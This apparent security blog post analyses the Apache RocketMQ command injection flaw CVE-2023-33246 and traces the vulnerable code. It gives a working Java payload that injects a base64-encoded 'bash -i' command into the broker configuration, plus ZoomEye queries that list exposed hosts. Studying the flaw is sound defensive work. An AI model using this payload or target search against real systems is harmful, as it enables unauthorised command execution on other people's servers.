Critical Analysis: Unraveling the Apache RocketMQ Remote Code Execution Vulnerability (CVE-2023-33246)

tutorialboy

TutorialBoy

Posted on July 28, 2023

Critical Analysis: Unraveling the Apache RocketMQ Remote Code Execution Vulnerability (CVE-2023-33246)

Introduction

Apache RocketMQ has a remote command execution vulnerability (CVE-2023-33246). RocketMQ's NameServer, Broker, Controller, and other components are exposed on the Internet and lack permission verification. Attackers can use this vulnerability to use the updated configuration function to execute commands as the system user running RocketMQ.

Version

  • 5.0.0 <= Apache RocketMQ < 5.1.1

  • 4.0.0 <= Apache RocketMQ < 4.9.6

Environment

Use docker to pull the vulnerable environment

docker pull apache/rocketmq:4.9.5

Enter fullscreen mode Exit fullscreen mode

Run the docker run command to build a docker environment

docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv

Enter fullscreen mode Exit fullscreen mode
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

Enter fullscreen mode Exit fullscreen mode

docker ps to check that docker starts normally

Image description

Source Code

Introduction to RocketMQ

We usually use some sports news software, and subscribe to some of our favorite team boards. When an author publishes an article to a relevant board, we can receive relevant news pushes.

Publish-Subscribe (Pub/Sub) is a message paradigm, where the sender of the message (called publisher, producer, Producer) will send the message directly to a specific receiver (called subscriber, consumer, Consumer). The basic message model of RocketMQ is a simple Pub/Sub model.

RocketMQ Deployment Model

How do Producer and Consumer find the addresses of the Topic and Broker? How is the specific sending and receiving of the message carried out?

Image description

NameServer

NameServer is a simple topic routing registry that supports dynamic registration and discovery of topics and brokers.

It mainly includes two functions:

  • Broker management, NameServer accepts the registration information of the Broker cluster and saves it as the basic data of routing information. Then provide a heartbeat detection mechanism to check whether the Broker is still alive.

  • Routing information management, each NameServer will save the entire routing information about the Broker cluster and queue information for client queries. Producers and Consumers can know the routing information of the entire Broker cluster through the NameServer, so as to deliver and consume messages.

    Proxy Server Broker

The broker is mainly responsible for the storage, delivery, and query of messages and the guarantee of high availability of services.

NameServer has almost no state nodes, so it can be deployed in a cluster without any information synchronization between nodes. Broker deployment is relatively complex.

In the Master-Slave architecture, Broker is divided into Master and Slave. A Master can correspond to multiple Slaves, but a Slave can only correspond to one Master. The corresponding relationship between Master and Slave is defined by specifying the same BrokerName and different BrokerId. BrokerId is 0 for Master, and non-zero for Slave. Master can also deploy multiple.

Message sending and receiving

Before sending and receiving messages, we need to tell the client the address of the NameServer. RocketMQ has multiple ways to set the address of the NameServer in the client. For example, the priority is from high to low, and the high priority will override the low priority.

Specify the Name Server address in the code, and separate multiple namesrv addresses with semicolons

producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
Enter fullscreen mode Exit fullscreen mode

Specify the Name Server address in the Java startup parameters

-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

Enter fullscreen mode Exit fullscreen mode

The environment variable specifies the Name Server address

export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876   

Enter fullscreen mode Exit fullscreen mode

Introduction to the classes mainly involved in vulnerabilities

DefaultMQAdminExt

DefaultMQAdminExt is an extension class provided by RocketMQ. It provides some tools and methods for managing and operating RocketMQ, which can be used to manage topics (Topic), consumer groups (Consumer Group), subscription relationships, etc.

The DefaultMQAdminExt class provides some common methods, including creating and deleting topics, querying topic information, querying consumer group information, updating subscription relationships, etc. It can obtain and modify relevant configuration information by interacting with NameServer and provides management functions for RocketMQ.

For example, a method for DefaultMQAdminExt to update the broker configuration (the updated configuration file is broker.conf):

public void updateBrokerConfig(String brokerAddr,
    Properties properties) throws RemotingConnectException, RemotingSendRequestException,
    RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
    defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
Enter fullscreen mode Exit fullscreen mode

FilterServerManager

In Apache RocketMQ, FilterServerManagera class is a class used to manage a filter server (Filter Server). The filtering server is a component in RocketMQ, which is used to support message filtering. The filtering server is responsible for the registration, update, and deletion of message filtering rules, as well as the evaluation and matching of message filtering.

Vulnerability Analysis

In the patch file, all Filter Server modules are directly removed, so we can directly look at FilterServerManager, and briefly analyze the calling process of FilterServerManager:

Execute when Broker starts sh mqbroker..., call to BrokerStartup class:

Image description

Continue to call the start() method in BrokerController in this class

Image description

follow up

Image description

Finally arrived in the FilterServerManager class, where FilterServerUtil.callShell(); there is a command execution

public void start() {

    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.configFile != null) {
        config = String.format("-c %s", BrokerStartup.configFile);
    }

    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
    }

    if (RemotingUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    }
}
Enter fullscreen mode Exit fullscreen mode

According to the inside of the start() method, the createFilterServer method will be called every 30 seconds.

public void start() {
    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
Enter fullscreen mode Exit fullscreen mode

At this point, it is obvious that we only need to control BrokerConfig for command splicing and wait for the trigger of createFilterServer to cause RCE.

But there are still two problems to be solved in order to successfully trigger command execution:

In the createFilterServer method, the value of more must be greater than 0 to trigger the callShell method

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}
Enter fullscreen mode Exit fullscreen mode

Here you only need to set the value of filterServerNums through DefaultMQAdminExt, roughly:

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...
Enter fullscreen mode Exit fullscreen mode

When the callshell method passes in a command, the shellString will be split into a cmdArray array using spaces by the splitShellString method.

public static void callShell(final String shellString, final InternalLogger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}
Enter fullscreen mode Exit fullscreen mode

It means that if the incoming command has a space, it will be split into an array, and the array will mark the end of each command as the beginning of the next command in exec [3].

sh {controllable}/bin/startfsrv.sh ..., if passed in -c curl 127.0.0.1;

Then comArray is['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

The end of each command here is used as the beginning of the next command. It regards each passed command as a whole. I can’t think of a more suitable example. Here you can use the single quotation marks in the shell to assist in understanding:

*'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'
*

Image description

Obviously, curl 127.0.0.1 is split into two parts because of the use of spaces. The correct writing method should be:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

Image description

However, using spaces will be split again, so the problem now is how to avoid using spaces for complete parameter passing. The solution published on the Internet [4]:

-c $@|sh . echo curl 127.0.0.1;

As a special variable, it represents all the parameters passed to the script or command and directly passes the value after echo to $@ as a whole, which solves the problem of splitting commands.

By the way, the core point of this bypass is that if you don’t use bash here, you can’t successfully use ${IFS} and {} to bypass the space restriction. I won’t explain the details here. Interested masters can try it out.

*-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
*

Payload

According to the above knowledge, the final constructed payload is:

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();
Enter fullscreen mode Exit fullscreen mode

Vulnerability Verification

Use the payload curl dnslogto receive a request every 30s or so:

Image description

Bug fixes

In the repair version 4.9.6 and 5.1.1, the filter server module is directly deleted

Image description

Influence Scope Statistics

Use Zoomeye to search and get 34348 ip results:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22

Image description

Use Zoomeye to search the number of targets that have been attacked, and get 6011 IP results:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22

Image description

Through the download function of Zoomeye, let’s count the attack methods locally. Most of the Trojan horses are downloaded through commands such as wget and curl to execute rebound shells.

Image description

Reference link

💖 💪 🙅 🚩
tutorialboy
TutorialBoy

Posted on July 28, 2023

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related